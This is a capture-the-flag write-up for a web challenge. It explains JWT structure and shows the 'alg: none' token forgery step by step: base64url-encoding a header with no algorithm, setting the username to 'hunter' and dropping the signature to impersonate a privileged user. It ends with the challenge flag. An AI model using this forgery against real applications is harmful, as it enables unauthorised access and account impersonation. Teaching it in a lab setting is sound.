Web 1 - baby JAWTS doo doo doo

Challenge Description

There is None like you, There is None like you, And there will never be another JAWTS hunter, Deemed as worthy as you 🎣 …

  • This challenge is started on-demand.


Brute Force URIs

The first step was to find any open directories-files:

gobuster -u -w common.txt

But nothing was found…

Input Field

After looking the page and inspecting the HTML-JS code the only valuable piece of info is the input field and the fact that the fish database is stored as an object in memory and we can see all entries. If we search for the flag in the input field we get redirected to:

And we get the following message:

guest_b28fd64296 does not have access to this flag resource, only a hunter would.

This hints us to alter the cookies in order to impersonate the hunter user.

Cookies Exploration

If we inspect the cookies from the browsers console we see that we have been assigned a random guest user and the cookie hash.

For the guest_b28fd64296, the cookie hash is:


If we delete the cookie from the browsers console, we try as another guest.

For the guest_1d304da22b, the cookie hash is:


We see that the first part of the cookie is the same eyJ1c2VybmFtZSI6Imd1ZXN0X.

We can try to decode it with base64:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0X" | base64 -d

We can see it is a Jason Web Token (JWT), as the Challenge name implies, and the Hash algorithm is HMAC + SHA256 (HS256).


A JWT is made of 3 parts: the Header, the Payload and the Signature. Each part is base64url encoded, and separated by dots. So for the guest_b28fd64296 user we have the three parts:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d

echo "eyJ1c2VybmFtZSI6Imd1ZXN0X2IyOGZkNjQyOTYiLCJpYXQiOjE2MjE2OTMzNzJ9" | base64 -d

echo "VhviYQMHk4MXACs8BRYj6nfHXu5FbyQRTbagQz6f5EM" | base64 -d

or we can use the official JWT page: https://jwt.io, to analyze these fields.

JWT Header

The Header is used to specify the hash algorithm used and the token type.

JWT Payload

The Payload can be filled with any info we want to specify a certain user, but everything in this field is not hashed or encrypted so anyone who has the token can see this info. The same goes for the Header part.

JWT Signature

The Signature is just the Header and the Payload hashed together and signed with a secret key, so we can identify if the token is valid.

JWT Exploit

We will use the "alg": "none" exploit. This exploit can be found explained in detail here, but the basic logic is that we specify that we don’t want to use an algorithm to verify the signature and some implementation have not a valid check for this case, we makes it that are token is valid without even the Signature part.

So we will change the Header and the Payload of the token as we wish.

For the Header we change the algorithm field to none:

{"alg":"HS256","typ":"JWT"} -> {"alg":"none","typ":"JWT"}

We can encode the new Header using base64 and replace + with - and / with _ and delete the last = (in order to be the valid base64url encoding it expects):

echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '/+' '_-' | tr -d '='


else we can use an online tool: https://www.base64url.com/

For the Payload we change the username to hunter as the /flag page suggests, and use the latest iat (Issued At) value in order for the cookie to not be expired:

{"username":"guest_b28fd64296","iat":1621693372} -> {"username":"hunter","iat":1621693372}

We encode the Payload as previous:

echo -n '{"username":"hunter","iat":1621693372}' | base64 | tr '/+' '_-' | tr -d '='


Now we can combine the two fields and add an empty signature using just a dot (.) as the last character and our new JWT token is:


We can edit and replace the cookie on the browser (Storage/Cookies tab) and add ours. When we reload the page and we get:



Flag: ECSC{f1n4lly_4_w0r7hy_3n0u6h_J4WTS_hun73r}